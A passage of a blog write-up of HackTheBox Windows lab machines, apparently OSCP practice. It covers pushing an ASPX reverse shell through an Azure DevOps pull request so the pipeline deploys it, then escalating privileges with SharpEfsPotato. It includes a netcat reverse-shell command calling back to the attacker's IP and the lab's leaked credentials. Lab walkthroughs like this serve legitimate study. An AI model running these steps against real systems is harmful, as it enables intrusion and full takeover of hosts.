point of encrypting it was simply to make it easier to use later, so using the plaintext should have worked. Yet both port 80 and WinRM told me authentication had failed.&lt;/p&gt;&#10;&lt;p&gt;PowerShell is a weak spot for me, so I started trying to understand what that PowerShell script was doing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here I learned that pwd was lightly encrypted and then passed to Credential. That credential was then used to execute the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell.exe -Credential $Credential -ArgumentList (&amp;#34;-file $args&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process starts a new process to run the following command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -Credential $Credential uses the credentials defined above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ArgumentList passes arguments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final command is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -file Copy-Site.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;-file passes in Copy-Site.ps1 and then executes it. That made everything click. So, to obtain the password, I currently needed to run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$user = &amp;#34;nathen&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$plain = &amp;#34;wendel98&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pwd = ($plain | ConvertTo-SecureString)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Before I started studying the logic of this ps1 file, I had tried running it on my Windows 11 host. It threw an error, so I ignored it at the time. Now I needed to revisit it.&lt;/p&gt;&#10;&lt;p&gt;I could not get this encryption logic to run. I found another method at &lt;a class="link" href="https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text&lt;/a&gt;, but this was the result:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encryption was only there to create the credential and served no other purpose. That really was the password. At least I now had an account, so I tried brute forcing it with the wordlist I still had.&lt;/p&gt;&#10;&lt;p&gt;I planned to brute force it with both Burp Suite and crackmapexec.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I continued brute forcing directories on the site. It found a /bin directory that returned 404, but nothing else.&lt;/p&gt;&#10;&lt;p&gt;The brute-force attempts against WinRM and port 80 were also useless. There was still another possibility: wendel98 ended in numbers, so I could generate a new wordlist based on that password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crunch 8 8 -t wendel%% &amp;gt; new_password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That wordlist did not work either. I thought I would not need to read a write-up for this machine, but I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not expect to get stuck here.&lt;/p&gt;&#10;&lt;p&gt;I opened a fresh Google Chrome window and finally got in, because for some reason Firefox would not let me log in either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any Azure DevOps vulnerabilities online. Maybe I needed to download the source code and find something in it? But it was just a static front-end page, with no useful information to extract.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an interesting-looking file here, but it was empty when I opened it. I tried checking its history.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing. The only idea I had at that point was that uploaded files might be parsed normally, but that was not actually the case. For example, I could not even get the current index.html parsed. I pulled the project locally, but opening it revealed nothing either. I had no good ideas, so I tried Googling.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I could not find any way to exploit it. I changed my approach: if Azure DevOps could deploy aspx or asp files, then a successful deployment could also get me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an official Microsoft blog post. My understanding was that using Azure DevOps to manage an application after deploying it was fine, but I could not deploy directly on Azure DevOps itself.&lt;/p&gt;&#10;&lt;p&gt;I started reading a write-up. Even after looking at the next step, I still could not understand how it had been deployed, since this was my first time working with this platform.&lt;/p&gt;&#10;&lt;p&gt;So everything below is just for learning, because this was beyond what I understood at the time. Previously, I would look up an application&amp;rsquo;s RCE process, quickly learn how the application worked, and then get RCE. There was nothing like that here. Instead, I had to learn how to deploy something, exactly like on the previous machine. I was learning from scratch again, and these applications each have their own unique workflows. This was something I had to learn, difficult or not. I would combine Claude with other people&amp;rsquo;s write-ups until I understood it completely, and record my notes below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=scEDHsr3APg" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=scEDHsr3APg&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This video clearly explains how DevOps CI/CD works.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.redhat.com/zh/topics/devops/what-is-ci-cd" target="_blank" rel="noopener"&#10; &gt;https://www.redhat.com/zh/topics/devops/what-is-ci-cd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one goes into a little more detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;CI means that after I make and merge a change to an application, it is deployed automatically. This is similar to what I had just seen in Azure DevOps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of projects here, which I had already discovered while brute forcing subdomains. Under pipelines:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could clearly see the deployment configuration file. This file defined how the project should be published. Its target directory was w:\sites&amp;amp;#20179;管名称.worker.htb, while the project repository was named alpha.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So what is CD? It is automated delivery and deployment. As mentioned above, CI automatically merges a project, a little like a push on GitHub. When something is pushed to the main branch, it automatically checks what was added and removed. The difference here is that the process is automated. After CI completes automatically, CD automatically deploys the result—the website we can see.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;When you submit new code or changes&lt;/li&gt;&#10;&lt;li&gt;The Pipeline runs automatically&lt;/li&gt;&#10;&lt;li&gt;The CopyFiles task copies the files to the corresponding directory&lt;/li&gt;&#10;&lt;li&gt;The IIS server automatically recognizes that directory as a new website&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;At this point, the theory behind the approach was clear.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a new project.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a code repository, then initialize it or import existing code.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a Pipeline and select the code source, which can simply be the repository we just created. Select &amp;ldquo;Starter pipeline&amp;rdquo; or an existing template.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Configure the Pipeline yaml, which is the configuration file shown above.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Save the Pipeline settings, then use Run Pipeline for the first deployment.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;From then on, whenever a branch is pushed to master or main, the Pipeline runs automatically and deploys the website.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;This was also a little like GitHub Actions. Here is the blog post I used as a reference:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html" target="_blank" rel="noopener"&#10; &gt;https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Now that I understood the principle, it was time to try it for real. I was not very comfortable with git commands. I had tried pushing projects many times before and eventually succeeded, but I still was not very fluent with the commands. This machine was a good chance to learn them.&lt;/p&gt;&#10;&lt;p&gt;My plan was to do it once from the command line and once through the web GUI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clone the alpha project locally, add a file, and push it back&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Cloning into &amp;#39;alpha&amp;#39;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Username for &amp;#39;http://devops.worker.htb&amp;#39;: nathen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password for &amp;#39;http://nathen@devops.worker.htb&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Azure Repos&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Found 54 objects to send. (51 ms)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This time, instead of generating a shell with msfvenom, I will use another approach&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com I plan to use this&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Place shell.aspx in the alpha project&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stage the new file in Git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add shell.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Commit the change&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;add shell.aspx&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Push it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin main&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed, saying I did not have permission to push to master. This is a common security measure. By following what other people did, I later learned about another mechanism:&lt;/p&gt;&#10;&lt;p&gt;pull request&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed the attack chain. I could not push directly to master and use the pipeline to publish and deploy the project. I needed to create a new branch, then use the pull requests mechanism to request that it be merged into master. Once the shell.aspx I created appeared in master, it could be published automatically.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a local branch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git checkout -b branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the remote branch while pushing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push --set-upstream origin branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It already existed. I originally wanted to complete the entire process from the command line, so I searched for a command-line method for creating a pull request. There did not seem to be such a command, though, so I had to finish through the web interface. That was convenient enough anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just click create.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we needed to add a reviewer and a work item.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding myself as the reviewer and attaching a work item was enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After clicking complete merge, it performed the merge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once the merge finished, I could see that the shell.aspx I created had been uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was accessible. Next, I tried creating a branch through the web interface. Creating a branch this way was much easier, so I will not spell it out here.&lt;/p&gt;&#10;&lt;p&gt;In the end, I got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use a Potato exploit for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;I tried several, and only this one worked. The public directory was writable, so I did everything there.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/bugch3ck/SharpEfsPotato" target="_blank" rel="noopener"&#10; &gt;https://github.com/bugch3ck/SharpEfsPotato&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; whoami | Set-Content C:\Users\Public\w.log&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I tried getting a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine was really interesting and taught me more about working with git. I had uploaded things to GitHub before, but had only picked up a little along the way. This machine expanded on that and taught me about SVN, Azure DevOps, and git workflows. It did a great job of broadening the scope. Still, I had to read write-ups twice while working on it. The first time, I could not log in; the second time, I had no idea what this thing even was. I was completely lost, read the write-up closely, and asked AI for help. None of that is allowed in the OSCP exam. I am not sure whether the exam will throw an application at me that I have never encountered at all, but what I can do is fully learn its logic afterward through write-ups, Google, and AI. I still need to train myself to quickly study and understand an application the first time I see it. Before the Omni and Worker machines, applications usually had a dedicated RCE process, and plenty of people had published RCE workflows for each one. But these two recent machines, Omni and Worker, were different. They were simply normal services. Appending terms like exploit, RCE, or reverse shell to the application name did not lead me to what I needed.&lt;/p&gt;&#10;&lt;p&gt;One thing worth mentioning is that accounts used by services like IIS and MSSQL seem to have SeImpersonatePrivilege. So when you encounter either type of user, the first thing to do is run whoami /priv and then look for a Potato privilege-escalation path.&lt;/p&gt;&#10;&lt;h2 id="18love"&gt;&lt;a href="#18love" class="header-anchor"&gt;&lt;/a&gt;18.Love&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;rpc&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mysql&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect even with a password.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had a login page.&lt;/p&gt;&#10;&lt;p&gt;Port 443 returned a 403. It might be using authentication from port 80, so I logged in there first and then tried accessing it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/admin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two pages use different endpoints. The home page expects an ID, while the admin page expects a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory traversal vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework information is shown 